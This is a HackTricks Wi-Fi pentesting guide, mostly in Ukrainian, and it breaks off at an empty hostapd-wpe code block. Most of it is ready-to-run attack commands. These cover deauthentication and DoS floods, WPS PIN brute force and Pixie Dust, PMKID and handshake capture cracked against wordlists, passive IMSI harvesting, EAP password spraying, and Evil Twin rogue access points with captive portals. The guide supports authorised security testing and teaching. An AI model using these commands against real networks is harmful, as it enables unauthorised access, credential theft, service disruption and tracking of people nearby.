Pentesting Wifi

Reading time: 36 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Wifi базові команди

bash
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis

Інструменти

Hijacker & NexMon (вбудований Wi-Fi на Android)

Enable Nexmon Monitor And Injection On Android

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

bash
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

Запустіть airgeddon за допомогою docker

bash
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

From: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux

wifiphisher

Він може виконувати атаки Evil Twin, KARMA та Known Beacons, а потім використовувати phishing template, щоб отримати реальний пароль мережі або capture social network credentials.

bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Wifite2

Цей інструмент автоматизує атаки WPS/WEP/WPA-PSK. Він автоматично:

  • Поставить інтерфейс у monitor mode
  • Просканує можливі мережі — і дозволить обрати ціль(і)
  • Якщо WEP — запустить WEP атаки
  • Якщо WPA-PSK
  • Якщо WPS: Pixie dust attack та bruteforce attack (уважно: brute-force може зайняти багато часу). Зауважте, що він не пробує null PIN або database/generated PINs.
  • Намагається перехопити PMKID з AP, щоб зламати його
  • Намагається деавторизувати клієнтів AP для перехоплення handshake
  • Якщо PMKID або handshake — намагається bruteforce використовуючи top5000 паролів.

Attacks Summary

  • DoS
  • Deauthentication/disassociation -- Відключити всіх (або конкретний ESSID/Client)
  • Random fake APs -- Приховати мережі, можливе збоювання сканерів
  • Overload AP -- Спроба вивести AP з ладу (зазвичай не дуже корисно)
  • WIDS -- Погратись з IDS
  • TKIP, EAPOL -- Деякі специфічні атаки для DoS деяких AP
  • Cracking
  • Crack WEP (кілька інструментів і методів)
  • WPA-PSK
  • WPS pin "Brute-Force"
  • WPA PMKID bruteforce
  • [DoS +] WPA handshake capture + Cracking
  • WPA-MGT
  • Username capture
  • Bruteforce Credentials
  • Evil Twin (with or without DoS)
  • Open Evil Twin [+ DoS] -- Корисно для захоплення captive portal creds та/або виконання LAN-атак
  • WPA-PSK Evil Twin -- Корисно для мережевих атак, якщо ви знаєте пароль
  • WPA-MGT -- Корисно для захоплення корпоративних credentials
  • KARMA, MANA, Loud MANA, Known beacon
  • + Open -- Корисно для захоплення captive portal creds та/або виконання LAN-атак
  • + WPA -- Корисно для захоплення WPA handshakes

DOS

Deauthentication Packets

Description from here:.

Deauthentication attacks, a prevalent method in Wi-Fi hacking, involve forging "management" frames to forcefully disconnect devices from a network. These unencrypted packets deceive clients into believing they are from the legitimate network, enabling attackers to collect WPA handshakes for cracking purposes or to persistently disrupt network connections. This tactic, alarming in its simplicity, is widely used and has significant implications for network security.

Deauthentication using Aireplay-ng

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0 означає deauthentication
  • 1 — кількість deauths для відправки (можна відправити кілька, якщо бажаєте); 0 означає відправляти їх безперервно
  • -a 00:14:6C:7E:40:80 — MAC-адреса точки доступу
  • -c 00:0F:B5:34:30:30 — MAC-адреса клієнта для deauthenticate; якщо це опущено, відправляється broadcast deauthentication (працює не завжди)
  • ath0 — назва інтерфейсу

Disassociation Packets

Disassociation packets, подібно до deauthentication packets, являють собою тип management frame, що використовується в Wi-Fi мережах. Ці пакети призначені для розірвання з'єднання між пристроєм (наприклад, ноутбуком або смартфоном) та access point (AP). Основна відмінність між disassociation та deauthentication полягає в їхніх сценаріях використання. Якщо AP надсилає deauthentication packets to remove rogue devices explicitly from the network, disassociation packets are typically sent when the AP is undergoing a shutdown, перезавантажується або переміщується, що вимагає відключення всіх підключених вузлів.

This attack can be performed by mdk4(mode "d"):

bash
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

Більше DOS-атак від mdk4

У here.

ATTACK MODE b: Beacon Flooding

Надсилає beacon frames, щоб показати fake APs клієнтам. Іноді це може спричинити crash network scanners і навіть drivers!

bash
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

ATTACK MODE a: Authentication Denial-Of-Service

Відправлення authentication frames до всіх доступних Access Points (APs) у зоні дії може перенавантажити ці APs, особливо коли задіяно багато clients. Цей інтенсивний трафік може призвести до нестабільності системи, через що деякі APs можуть зависнути або навіть перезавантажитися.

bash
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

ATTACK MODE p: SSID Probing and Bruteforcing

Probing Access Points (APs) перевіряє, чи SSID правильно відображається, та підтверджує радіус дії AP. Ця техніка, у поєднанні з bruteforcing hidden SSIDs з або без wordlist, допомагає ідентифікувати та отримати доступ до прихованих мереж.

ATTACK MODE m: Michael Countermeasures Exploitation

Відправка випадкових або дубльованих пакетів у різні QoS-черги може спричинити активацію Michael Countermeasures на TKIP APs, що призведе до однохвилинного вимкнення AP. Цей метод є ефективною тактикою DoS (Denial of Service) атаки.

bash
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

ATTACK MODE e: EAPOL Start and Logoff Packet Injection

Переповнення AP EAPOL Start frames створює фальшиві сесії, перевантажуючи AP і блокуючи легітимних клієнтів. Альтернативно, ін'єкція фальшивих EAPOL Logoff messages примусово відключає клієнтів; обидва методи ефективно порушують роботу мережі.

bash
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

ATTACK MODE s: Атаки на IEEE 802.11s mesh-мережі

Різні атаки на управління лінками та маршрутизацію в mesh-мережах.

ATTACK MODE w: WIDS Заплутування

Підключення клієнтів одночасно до кількох WDS-вузлів або фейкових rogue APs може маніпулювати Intrusion Detection and Prevention Systems, створюючи плутанину та можливе зловживання системою.

bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

ATTACK MODE f: Packet Fuzzer

A packet fuzzer, який має різноманітні джерела пакетів і повний набір модифікаторів для маніпуляції пакетами.

Airggedon

Airgeddon пропонує більшість атак, запропонованих у попередніх розділах:

WPS

WPS (Wi-Fi Protected Setup) спрощує процес підключення пристроїв до роутера, прискорюючи та полегшуючи налаштування мереж, захищених за допомогою WPA або WPA2 Personal. Він неефективний для легко скомпрометованого захисту WEP. WPS використовує 8-значний PIN, який перевіряється в двох половинах, що робить його вразливим до brute-force атак через обмежену кількість комбінацій (приблизно 11 000 варіантів).

WPS Bruteforce

Є 2 основні інструменти для виконання цієї атаки: Reaver та Bully.

  • Reaver був створений як надійний і практичний інструмент для атак на WPS і тестувався на великій кількості точок доступу та реалізацій WPS.
  • Bully — це нова реалізація WPS brute force атаки, написана на C. Вона має кілька переваг над оригінальним reaver кодом: менше залежностей, покращена продуктивність пам'яті та cpu, правильна обробка endianness і більш надійний набір опцій.

Атака експлуатує вразливість WPS PIN, зокрема витік перших чотирьох цифр та роль останньої цифри як контрольної суми, що полегшує brute-force атаку. Однак заходи захисту проти brute-force атак, такі як blocking MAC addresses агресивних атакувальників, вимагають MAC address rotation, щоб продовжити атаку.

Після отримання WPS PIN за допомогою інструментів, таких як Bully або Reaver, атакувальник може вивести WPA/WPA2 PSK, забезпечуючи постійний доступ до мережі.

bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

Smart Brute Force

Цей вдосконалений підхід націлений на WPS PINs з використанням відомих вразливостей:

  1. Pre-discovered PINs: Використовуйте базу даних відомих PINs, пов’язану з конкретними виробниками, які відомі використанням уніфікованих WPS PINs. Ця база зіставляє перші три октети MAC-addresses з ймовірними PINs для цих виробників.
  2. PIN Generation Algorithms: Застосовуйте алгоритми, такі як ComputePIN і EasyBox, які обчислюють WPS PINs на основі MAC-address AP. Алгоритм Arcadyan додатково вимагає device ID, додаючи ще один рівень у процес генерації PIN.

WPS Pixie Dust attack

Dominique Bongard виявив вразливість у деяких точках доступу (APs), що стосувалась створення секретних кодів, відомих як nonces (E-S1 і E-S2). Якщо ці nonces можна визначити, злам WPS PIN AP стає простим. AP розкриває PIN всередині спеціального коду (hash), щоб довести, що він легітимний, а не підроблений (rogue) AP. Ці nonces по суті є «ключами» до відмикання «сейфа», що містить WPS PIN. Більше про це можна знайти here.

Простіше кажучи, проблема в тому, що деякі APs не використовували достатньо випадкові ключі для шифрування PIN під час процесу підключення. Це робить PIN вразливим до вгадування ззовні мережі (offline brute force attack).

bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

Якщо ви не хочете переводити пристрій у monitor mode, або reaver та bully працюють некоректно, можна спробувати OneShot-C. Цей інструмент може виконувати Pixie Dust attack без необхідності переходу в monitor mode.

bash
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37

Null Pin attack

Деякі погано спроектовані системи навіть дозволяють Null PIN (порожній або неіснуючий PIN) надавати доступ, що досить незвично. Інструмент Reaver може тестувати цю вразливість, на відміну від Bully.

bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

Усі запропоновані WPS-атаки можна легко виконати за допомогою airgeddon.

  • 5 і 6 дозволяють спробувати your custom PIN (якщо він у вас є)
  • 7 і 8 виконують Pixie Dust attack
  • 13 дозволяє протестувати NULL PIN
  • 11 і 12 будуть збирати PINs, пов'язані з обраним AP, з наявних баз даних та генерувати можливі PINs за допомогою: ComputePIN, EasyBox та опційно Arcadyan (рекомендовано, чому б і ні?)
  • 9 і 10 перевірять всі можливі PIN

WEP

Дуже зламаний і майже не використовується нині. Просто майте на увазі, що airgeddon має опцію WEP під назвою "All-in-One" для атаки такого типу захисту. Багато інструментів пропонують подібні опції.



WPA/WPA2 PSK

PMKID

У 2018 році, hashcat revealed новий метод атаки, унікальний тим, що потребує лише one single packet і не вимагає підключених клієнтів до цільового AP — лише взаємодії між атакувальником і AP.

Багато сучасних маршрутизаторів додають опційне поле до першого EAPOL кадру під час асоціації, відоме як Robust Security Network. Воно включає PMKID.

Як пояснює оригінальний пост, PMKID створюється з використанням відомих даних:

bash
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

Оскільки "PMK Name" є постійним, і ми знаємо BSSID AP та станції, а PMK ідентичний тому з повного 4-way handshake, hashcat може використати цю інформацію, щоб crack the PSK and recover the passphrase!

Щоб gather цю інформацію та bruteforce локально пароль, ви можете зробити:

bash
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
bash
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

PMKIDs captured будуть показані в console і також збережені всередині _ /tmp/attack.pcap_
Тепер конвертуйте захоплення у формат hashcat/john і зламайте його:

bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Зверніть увагу, що формат правильного хеша містить 4 частини, наприклад: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838 Якщо у вашого є тільки 3 частини, то він є недійсним (запис PMKID був недійсний).

Зверніть увагу, що hcxdumptool також захоплює handshakes (щось подібне з'явиться: MP:M1M2 RC:63258 EAPOLTIME:17091). Ви можете перетворити ці handshakes у формат hashcat/john за допомогою cap2hccapx

bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

Я помітив, що деякі handshakes, захоплені цим інструментом, не вдалося crack навіть при відомому правильному password. Рекомендую, якщо можливо, також capture handshakes традиційним способом або захопити кілька handshakes за допомогою цього інструмента.

Handshake capture

Атака на WPA/WPA2 мережі може бути виконана шляхом захоплення handshake та спроби crack password offline. Цей процес включає моніторинг зв'язку конкретної мережі та BSSID на певному channel. Ось стислий посібник:

  1. Визначте BSSID, channel, і connected client цільової мережі.
  2. Використайте airodump-ng для моніторингу мережевого трафіку на вказаному channel і BSSID, сподіваючись capture a handshake. Команда виглядатиме так:
bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
  1. Щоб збільшити шанс захоплення handshake, тимчасово відключіть клієнта від мережі, щоб примусити його до re-authentication. Це можна зробити за допомогою команди aireplay-ng, яка надсилає deauthentication packets клієнту:
bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios

Зверніть увагу: оскільки client був deauthenticated, він міг спробувати підключитися до іншого AP або, в інших випадках, до іншої network.

Коли в airodump-ng з'являється інформація про handshake, це означає, що handshake було захоплено і ви можете припинити прослуховування:

Після того, як handshake захоплено, ви можете crack його за допомогою aircrack-ng:

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

Перевірити, чи є handshake у файлі

aircrack

bash
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

bash
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty

cowpatty -r psk-01.cap -s "ESSID" -f -

Якщо цей інструмент знайде незавершений handshake для ESSID раніше за завершений, він не виявить дійсний.

pyrit

bash
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

WPA Enterprise (MGT)

У налаштуваннях корпоративного WiFi ви зустрінете різні методи автентифікації, кожен із яких забезпечує різні рівні безпеки та можливості керування. Коли ви використовуєте інструменти, такі як airodump-ng, щоб аналізувати мережевий трафік, ви можете помітити ідентифікатори для цих типів автентифікації. Деякі поширені методи включають:

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi
  1. EAP-GTC (Generic Token Card):
  • Цей метод підтримує апаратні токени та одноразові паролі в межах EAP-PEAP. На відміну від MSCHAPv2, він не використовує peer challenge і відправляє паролі у відкритому вигляді до access point, що створює ризик для downgrade-атак.
  1. EAP-MD5 (Message Digest 5):
  • Включає надсилання MD5-хешу пароля від клієнта. Не рекомендовано через вразливість до dictionary-атак, відсутність автентифікації сервера та неможливість генерувати сесійні WEP-ключі.
  1. EAP-TLS (Transport Layer Security):
  • Використовує сертифікати з обох сторін — клієнтської і серверної — для автентифікації та може динамічно генерувати користувацькі та сесійні WEP-ключі для захисту звʼязку.
  1. EAP-TTLS (Tunneled Transport Layer Security):
  • Забезпечує взаємну автентифікацію через зашифрований тунель і метод отримання динамічних, для-користувача, для-сеансу WEP-ключів. Потребує лише сертифікатів на боці сервера, тоді як клієнти використовують облікові дані.
  1. PEAP (Protected Extensible Authentication Protocol):
  • Працює подібно до EAP, створюючи TLS-тунель для захищеного обміну. Дозволяє використовувати слабші протоколи автентифікації поверх EAP завдяки захисту тунелю.
  • PEAP-MSCHAPv2: Часто називають просто PEAP; поєднує вразливий механізм challenge/response MSCHAPv2 з захисним TLS-тунелем.
  • PEAP-EAP-TLS (or PEAP-TLS): Схожий на EAP-TLS, але ініціює TLS-тунель перед обміном сертифікатами, додаючи додатковий рівень безпеки.

You can find more information about these authentication methods here and here.

Username Capture

Читаючи https://tools.ietf.org/html/rfc3748#page-27, видно, що якщо ви використовуєте EAP, то повідомлення "Identity" мають бути підтримані, і username буде відправлено у відкритому вигляді в повідомленнях "Response Identity".

Навіть використовуючи один із найбезпечніших методів автентифікації: PEAP-EAP-TLS, можна захопити username, надісланий у протоколі EAP. Для цього запишіть аутентифікаційну сесію (запустіть airodump-ng на каналі і wireshark на тому самому інтерфейсі) і відфільтруйте пакети за eapol.
В межах пакета "Response, Identity" зʼявиться username клієнта.

Anonymous Identities

Приховування ідентичності підтримується як EAP-PEAP, так і EAP-TTLS. У контексті WiFi мережі EAP-Identity запит зазвичай ініціюється access point (AP) під час процесу асоціації. Щоб захистити анонімність користувача, відповідь від EAP-клієнта на пристрої користувача містить лише мінімально необхідну інформацію для початкового RADIUS-сервера. Це ілюструється наступними сценаріями:

  • EAP-Identity = anonymous
  • У цьому сценарії всі користувачі використовують псевдонім "anonymous" як ідентифікатор користувача. Початковий RADIUS-сервер виступає як EAP-PEAP або EAP-TTLS сервер, який управляє серверною частиною протоколу PEAP або TTLS. Внутрішній (захищений) метод автентифікації тоді або обробляється локально, або делегується віддаленому (home) RADIUS-серверу.
  • EAP-Identity = anonymous@realm_x
  • У цьому випадку користувачі з різних realm-ів приховують свої особистості, одночасно вказуючи свій realm. Це дозволяє початковому RADIUS-серверу проксувати EAP-PEAP або EAP-TTLS запити до RADIUS-серверів у їхніх home realm-ах, які діють як PEAP або TTLS сервери. Початковий RADIUS-сервер працює лише як RADIUS relay вузол.
  • Альтернативно, початковий RADIUS-сервер може функціонувати як EAP-PEAP або EAP-TTLS сервер і або обробляти захищений метод автентифікації, або переадресовувати його іншому серверу. Ця опція дозволяє налаштовувати різні політики для різних realm-ів.

В EAP-PEAP, коли TLS-тунель встановлено між PEAP-сервером і PEAP-клієнтом, PEAP-сервер ініціює EAP-Identity запит і пересилає його через TLS-тунель. Клієнт відповідає на цей другий EAP-Identity запит, відправляючи EAP-Identity відповідь з реальною ідентичністю користувача через зашифрований тунель. Цей підхід ефективно запобігає розкриттю реальної ідентичності користувача будь-кому, хто перехоплює 802.11 трафік.

EAP-TTLS слідує трохи іншій процедурі. У разі EAP-TTLS клієнт зазвичай автентифікується за допомогою PAP або CHAP, захищених TLS-тунелем. У цьому випадку клієнт включає атрибут User-Name і або Password, або CHAP-Password атрибут у початковому TLS-повідомленні, надісланому після встановлення тунелю.

Незалежно від обраного протоколу, PEAP/TTLS сервер дізнається реальну ідентичність користувача після встановлення TLS-тунелю. Реальна ідентичність може бути у форматі user@realm або просто user. Якщо PEAP/TTLS сервер також відповідає за автентифікацію користувача, він отримує ідентичність користувача і продовжує роботу з методом автентифікації, захищеним TLS-тунелем. Альтернативно, PEAP/TTLS сервер може переслати новий RADIUS-запит до home RADIUS-сервера користувача. Цей новий RADIUS-запит не містить PEAP або TTLS шару протоколу. У випадках, коли захищений метод автентифікації — EAP, внутрішні EAP-повідомлення передаються до home RADIUS-сервера без обгортки EAP-PEAP або EAP-TTLS. User-Name атрибут вихідного RADIUS-повідомлення містить реальну ідентичність користувача, замінюючи anonymous User-Name з вхідного RADIUS-запиту. Коли захищений метод автентифікації — PAP або CHAP (підтримується лише TTLS), User-Name та інші атрибути автентифікації, витягнуті з TLS payload, підставляються у вихідному RADIUS-повідомленні, витісняючи anonymous User-Name та TTLS EAP-Message атрибути з вхідного RADIUS-запиту.

For more info check https://www.interlinknetworks.com/app_notes/eap-peap.htm

SIM-based EAP (EAP-SIM/EAP-AKA) identity leakage (IMSI exposure)

SIM-based Wi‑Fi authentication using EAP‑SIM/EAP‑AKA over 802.1X can leak the permanent subscriber identifier (IMSI) in cleartext during the unauthenticated identity phase if the deployment doesn’t implement pseudonyms/protected identities or a TLS tunnel around the inner EAP.

Where the leak happens (high level):

  • 802.11 association completes to the SSID (often carrier offload SSIDs like FreeWifi_secure, eduroam-like operator realms, etc.).
  • Authenticator sends EAP-Request/Identity.
  • Vulnerable clients answer EAP-Response/Identity with their permanent identity = IMSI encoded as a 3GPP NAI, prior to any protection.
  • Example NAI: 20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
  • Anyone passively listening to RF can read that frame. No 4-way handshake or TLS keying is needed.

Quick PoC: passive IMSI harvesting on EAP‑SIM/AKA networks lacking identity privacy

Click to expand
bash
# 1) Enable monitor mode
airmon-ng start wlan0

# 2) Optional: lock channel to the target BSS
airodump-ng wlan0mon --essid <SSID>

# 3) Capture 802.1X/EAP frames
# Wireshark display filters:
#   eap || eapol
#   (identity specifically): eap.code == 2 && eap.type == 1
# Kismet: add source wlan0mon; enable 802.1X/EAP views
# tcpdump (pcap capture):
#   tcpdump -i wlan0mon -s 0 -w eapsim_identity.pcap

# 4) Wait for a device to auto-connect to the SSID
# 5) Inspect the first EAP-Response/Identity frame
# Expected: ASCII NAI containing IMSI, e.g.
#   20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org

Примітки:

  • Працює перед будь-яким TLS тунелем, якщо розгортання використовує "bare" EAP‑SIM/AKA без захищеної ідентичності/псевдонімів.
  • Відкритий параметр є постійним ідентифікатором, прив'язаним до SIM абонента; збір таких даних дозволяє довготривале відстеження та подальші телекомунікаційні зловживання.

Вплив

  • Приватність: стале відстеження користувача/пристрою з пасивних Wi‑Fi захоплень у публічних місцях.
  • Ініціація телеком-зловживань: маючи IMSI, нападник з доступом до SS7/Diameter може запитувати місцезнаходження або намагатися перехопити виклики/SMS та викрасти MFA.

Заходи пом'якшення / на що звертати увагу

  • Перевірте, що клієнти використовують анонімні зовнішні ідентичності (псевдоніми) для EAP‑SIM/AKA відповідно до рекомендацій 3GPP (наприклад, 3GPP TS 33.402).
  • Надавайте перевагу тунелюванню фази ідентифікації (наприклад, EAP‑TTLS/PEAP з внутрішнім EAP‑SIM/AKA), щоб IMSI ніколи не надсилалося у відкритому вигляді.
  • Захоплення пакетів асоціації/автентифікації не повинні ніколи розкривати сирий IMSI в EAP-Response/Identity.

Related: Експлуатація телеком-сигналізації з захопленими мобільними ідентифікаторами Telecom Network Exploitation

EAP-Bruteforce (password spray)

If the client is expected to use a username and password (зауважте, що EAP-TLS won't be valid у цьому випадку), то ви можете спробувати отримати список usernames (див. наступну частину) та passwords і спробувати bruteforce доступ за допомогою air-hammer.

bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

Ви також можете виконати цю атаку за допомогою eaphammer:

bash
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

Теорія атак на клієнта

Вибір мережі та роумінг

  • Протокол 802.11 визначає, як станція приєднується до Extended Service Set (ESS), але не задає критерії вибору ESS або access point (AP) в його межах.
  • Станції можуть переміщуватися між AP з однаковим ESSID, підтримуючи підключення по всьому будинку або зоні.
  • Протокол вимагає автентифікації станції до ESS, але не зобов'язує AP автентифікуватися перед станцією.

Preferred Network Lists (PNLs)

  • Станції зберігають ESSID кожної бездротової мережі, до якої вони підключалися, у своєму Preferred Network List (PNL), разом з конфігураційними деталями, специфічними для мережі.
  • PNL використовується для автоматичного підключення до відомих мереж, покращуючи досвід користувача шляхом спрощення процесу підключення.

Passive Scanning

  • AP періодично транслює beacon frames, оголошуючи свою присутність та можливості, включно з ESSID AP, якщо мовлення не вимкнено.
  • Під час пасивного сканування станції слухають beacon frames. Якщо ESSID в beacon співпадає з записом у PNL станції, станція може автоматично підключитися до цього AP.
  • Знання PNL пристрою дозволяє потенційно експлуатувати його, імітуючи ESSID відомої мережі та обманюючи пристрій, щоб він підключився до rogue AP.

Active Probing

  • Active probing передбачає, що станції надсилають probe requests для виявлення сусідніх AP та їх характеристик.
  • Directed probe requests орієнтовані на конкретний ESSID, що допомагає визначити, чи певна мережа знаходиться в зоні дії, навіть якщо вона прихована.
  • Broadcast probe requests мають поле SSID, рівне null, і надсилаються всім сусіднім AP, дозволяючи станції перевірити наявність будь-якої preferred мережі без розголошення вмісту її PNL.

Simple AP with redirection to Internet

Before explaining how to perform more complex attacks it's going to be explained how to just create an AP and redirect it's traffic to an interface connected to the Internet.

Using ifconfig -a check that the wlan interface to create the AP and the interface connected to the Internet are present.

DHCP & DNS

bash
apt-get install dnsmasq #Manages DHCP and DNS

Створіть файл конфігурації /etc/dnsmasq.conf:

ini
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

Потім встановіть IP-адреси та маршрути:

bash
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

А потім запустіть dnsmasq:

bash
dnsmasq -C dnsmasq.conf -d

hostapd

bash
apt-get install hostapd

Створіть файл конфігурації hostapd.conf:

ini
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

Зупиніть набридливі процеси, увімкніть monitor mode та запустіть hostapd:

bash
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

Пересилання та перенаправлення

bash
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Evil Twin

An evil twin attack експлуатує спосіб, яким WiFi clients розпізнають мережі, покладаючись переважно на ім'я мережі (ESSID) без потреби, щоб base station (access point) автентифікував себе для клієнта. Основні моменти включають:

  • Difficulty in Differentiation: Пристрої важко розрізняють легітимні та rogue access points, коли вони мають однаковий ESSID і encryption type. У реальних мережах часто використовують кілька access points з тим самим ESSID для безшовного розширення зони покриття.
  • Client Roaming and Connection Manipulation: Протокол 802.11 дозволяє пристроям переміщатися між access points в межах одного ESS. Атакуючі можуть експлуатувати це, змушуючи пристрій відключитися від поточного base station і підключитися до rogue access point. Це можна досягти, пропонуючи сильніший сигнал або порушуючи з’єднання з легітимним access point за допомогою методів, таких як deauthentication packets або jamming.
  • Challenges in Execution: Успішне виконання evil twin attack в середовищах із кількома добре розташованими access points може бути складним. Deauthenticating одного легітимного access point часто призводить до того, що пристрій підключається до іншого легітимного access point, якщо атакуючий не може deauthenticate усі ближні access points або стратегічно не розмістить rogue access point.

You can create a very basic Open Evil Twin (no capabilities to route traffic to Інтернет) doing:

bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

Також ви можете створити Evil Twin за допомогою eaphammer (зверніть увагу, що для створення evil twins з eaphammer інтерфейс не повинен бути у monitor mode):

bash
./eaphammer -i wlan0 --essid exampleCorp --captive-portal

Або використовуючи Airgeddon: Options: 5,6,7,8,9 (inside Evil Twin attack menu).

Будь ласка, зауважте, що за замовчуванням, якщо ESSID у PNL збережено як захищений WPA, пристрій не підключиться автоматично до Open evil Twin. Ви можете спробувати DoS реальний AP і сподіватися, що користувач вручну підключиться до вашого Open evil Twin, або ви можете DoS реальний AP і використати WPA Evil Twin, щоб захопити handshake (використовуючи цей метод ви не зможете дозволити жертві підключитися до вас, оскільки не знаєте PSK, але можете захопити handshake і спробувати crack it).

Some OS and AV will warn the user that connect to an Open network is dangerous...

WPA/WPA2 Evil Twin

Ви можете створити Evil Twin using WPA/2 і, якщо пристрої налаштовані підключатися до цього SSID з WPA/2, вони спробують підключитися. Проте, щоб завершити 4-way-handshake вам також потрібно знати пароль, який клієнт буде використовувати. Якщо ви його не знаєте, підключення не буде завершено.

bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

Enterprise Evil Twin

Щоб зрозуміти цю атаку, рекомендую спочатку прочитати коротке WPA Enterprise пояснення.

Використання hostapd-wpe

hostapd-wpe потребує конфігураційного файлу для роботи. Щоб автоматизувати генерацію цих конфігурацій, можна використати https://github.com/WJDigby/apd_launchpad (завантажте python-файл у /etc/hostapd-wpe/).

bash
